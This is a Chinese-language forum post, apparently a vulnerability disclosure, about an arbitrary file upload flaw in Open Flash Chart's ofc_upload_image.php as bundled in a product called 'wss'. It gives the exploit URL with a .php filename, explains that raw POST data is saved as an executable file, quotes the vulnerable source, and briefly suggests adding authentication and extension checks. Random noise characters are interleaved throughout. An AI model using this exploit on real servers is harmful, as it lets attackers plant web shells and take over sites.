POST 数据漏洞文件执行任意后缀文件保存$ I8 ~: I& B/ }% Z: y; P, R
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
! S9 l5 }9 q2 [. D2 o! z- z4 ]# H" W9 e" T
利用:
, T$ D. B! v) i) {8 O+ \/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
# N+ y. Q- x0 ]/ K" s# [! q, Z& v( d: @- m) V
Post任意数据
3 D D; k3 A0 }1 a4 U保存位置http://localhost/chart/tmp-upload-images/hfy.php
}7 J) {- U7 T2 v; ~0 k0 p1 i4 {- E0 T# u# v
' ] w& G" J. y0 U+ i
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
( H$ t+ [8 L' [9 x) n5 D/ X
4 G# G6 ~* I% d! ~. y5 w<?php. \7 C" P3 _& ~. u; G. M9 V; i
. z/ H* T0 i0 s2 [//
4 Y% A) P( [: t// In Open Flash Chart -> save_image debug mode, you
5 Y9 }. z! S4 \0 O/ d& K// will see the 'echo' text in a new window.% X9 S2 N! A) [4 ?( r9 w
//
1 P* x5 o! l: ]! {2 G
7 N \) N0 U+ _: B/* Q+ T# i- i }8 c6 Z& I
, A# A2 K3 J; Y" M" A B/ ^1 b v/ f4 d
print_r( $_GET );
d. x' V; j% a- ]$ wprint_r( $_POST );
6 Y" u7 H" I# t5 j7 {4 Q( i! `print_r( $_FILES );& R/ F" S# l8 ~5 x- j
* |4 H1 Z/ d$ y
print_r( $GLOBALS );) O1 H" [9 W; M' C. c+ W& m# I
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );8 Q6 W/ q) b K- {
( s v( @3 A' d
*/
; T b: I. s, u1 |* H/ m// default path for the image to be stored //
, L3 z' R. U) e# x N$default_path = '../tmp-upload-images/';9 M/ z+ d1 i5 X, o
F7 b' }4 E4 Q8 I4 L
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
! W" x) R1 W% P; [, V" ]0 w7 g/ f0 l
// full path to the saved image including filename //
6 I1 U- G6 a+ k+ ^9 L$destination = $default_path . basename( $_GET[ 'name' ] ); ' d, t) T& |/ {( z
" \- R- |$ X- K0 q0 t) A
echo 'Saving your image to: '. $destination;
0 O2 Y8 R: J7 a5 L// print_r( $_POST );
6 p1 j; w( `" o) q9 R1 r" M// print_r( $_SERVER );7 n2 \' r. h8 {5 F5 M
// echo $HTTP_RAW_POST_DATA;
# \/ @6 C5 f/ i9 C3 w
+ K' P0 A# B6 `! U//
8 Q$ l% @6 s5 \ ]- }7 x7 ?7 Y// POST data is usually string data, but we are passing a RAW .png
3 _$ P v- z. H( _' h. y. h" N. P// so PHP is a bit confused and $_POST is empty. But it has saved/ d, |% p5 e3 R: T4 O8 U( F
// the raw bits into $HTTP_RAW_POST_DATA
$ v1 u! {8 u! C1 H( H3 V( N6 r//
. O) T J/ P$ j6 ^" P. m, E; X; K! S- `" @6 {8 g6 d. I6 S, j2 `6 X
$jfh = fopen($destination, 'w') or die("can't open file");8 C9 l" Y5 V9 ?4 u# C8 U
fwrite($jfh, $HTTP_RAW_POST_DATA);2 o+ X- |* A. q3 W5 ^( i
fclose($jfh);% n. _! u/ m- K. W( ^1 R
% A) \; B I8 x) H- M//
& D/ j' Q7 Z' b4 j0 @, [# F" u// LOOK:
; V a/ c7 M7 w7 l( R4 O+ ~//
) G. n+ d( |* N; T! V J: Sexit();
1 H7 B9 e$ H1 r/ R1 o7 ?' K//
! G- G% u0 \* g" A' {1 M// PHP5:
/ @% k9 V" @5 Z* W5 s2 U, I//
5 J+ \5 r7 k" Q- I7 g7 V0 D+ ^: i+ I5 j7 l( g
5 t0 H* w% R1 e8 M1 J! q// default path for the image to be stored //7 u6 X) A; T! H) H: Z) Y
$default_path = 'tmp-upload-images/';8 v5 h* ~) z$ @ b3 b. f& J
" D" U4 b; o. g" b, }; I* X
if (!file_exists($default_path)) mkdir($default_path, 0777, true);6 F' X; ^5 w V* R7 X5 E e' X. m
0 m4 q' s+ A0 v0 G# D4 K/ z
// full path to the saved image including filename //' Z8 k* N9 \% x7 S9 c4 Z. c
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); , `- V0 x Q1 d+ d4 o( R. y
2 J, b1 O: q; b/ W7 Z- m3 Y
// move the image into the specified directory //+ {1 N* r2 M6 d M5 Z
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {8 h+ U8 V, d8 n; O& V! o
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
0 {8 j- [$ d7 h0 K} else {
4 D- Y4 m# i: k echo "FILE UPLOAD FAILED";
9 X0 w' j! c7 K5 X9 w}
z# s, s+ y H7 M; {3 B
/ b1 [. K; q6 I* e) r5 B- u
1 f8 g+ {* o/ Y" I, A" L: S?>
4 c, `7 Y# \+ _" H
1 y( T0 _# B" {" c
* ?2 C' L) i& M
, w4 _; S& t, e1 \- T( M1 O U2 ^+ o( Q4 M
/ {, X& b. w4 B# R, ]
% f3 p3 s2 e8 ~8 w+ e/ i" g修复方案:
& T' Y8 l5 Q1 T6 S这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
( B' \. Y5 d# x2 o, g
" W M' J: U/ j& ~3 ^2 [
) ~8 c( q& M; S8 k Q% t$ H, R- h- O% z3 x3 `% C
) ^- Z: @9 b' `) E, d# | h$ Z
|